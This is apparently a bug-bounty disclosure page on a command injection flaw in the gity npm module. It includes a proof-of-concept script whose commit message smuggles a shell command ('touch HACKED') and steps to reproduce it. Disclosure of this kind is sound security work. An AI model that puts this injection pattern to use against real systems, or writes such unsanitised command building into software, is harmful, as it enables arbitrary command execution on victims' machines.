[gity] RCE via insecure command formatting
The gity npm module builds shell commands by inserting user-supplied strings without validation, so a crafted commit message can break out of the intended command. An attacker who controls that input could run arbitrary commands on the victim's machine.
- Triaged in 37 hours
- Fixed in 10 months
- Disclosed after 11 months
I would like to report a RCE issue in the gity module.
It allows to execute arbitrary commands remotely inside the victim's PC
Module
module name: gity
version: 1.0.5
npm page: https://www.npmjs.com/package/gity
Module Description
A nice Git wrapper for Node.
Module Stats
[~3/4] downloads in the last day [21] downloads in the last week [~100] downloads in the last month
Vulnerability Description
The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/stevenmiller888/gity/blob/master/lib/index.js#L85
Steps To Reproduce:
- Create the following PoC file:
// poc.js
var Git = require('gity');
var git = Git()
.add('*.js')
.commit('-m "added js files";touch HACKED;#')
.run();
- Check there aren't files called
HACKED - Execute the following commands in another terminal:
npm i gity # Install affected module
node poc.js # Run the PoC
- Recheck the files: now
HACKEDhas been created :)
Screenshot_from_2019-11-05_22-07-27.png From the original on HackerOne
Patch
Don't format
commandsusing insecureuser's inputs:)
Supporting Material/References:
- [OPERATING SYSTEM VERSION]: Kali Linux
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Impact
RCE via command formatting on gity
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the library concatenates user input directly into a shell command string instead of passing arguments safely, so shell metacharacters are interpreted.
Impact
An attacker who controls the input passed to the library could execute arbitrary commands on the victim's PC.
What the attacker needed
Victim uses the gity module; attacker controls commit message input
How it was found
- Create a small script that loads the module and passes a crafted commit message.
- Confirm the marker file does not exist yet.
- Install the affected module and run the script.
- Check again and observe that the marker file was created.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This library runs Git commands for you by gluing your text into a shell command. Because it does not clean that text, someone can add extra shell instructions that the computer then runs as if the user typed them. That lets an attacker run their own programs on the machine.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.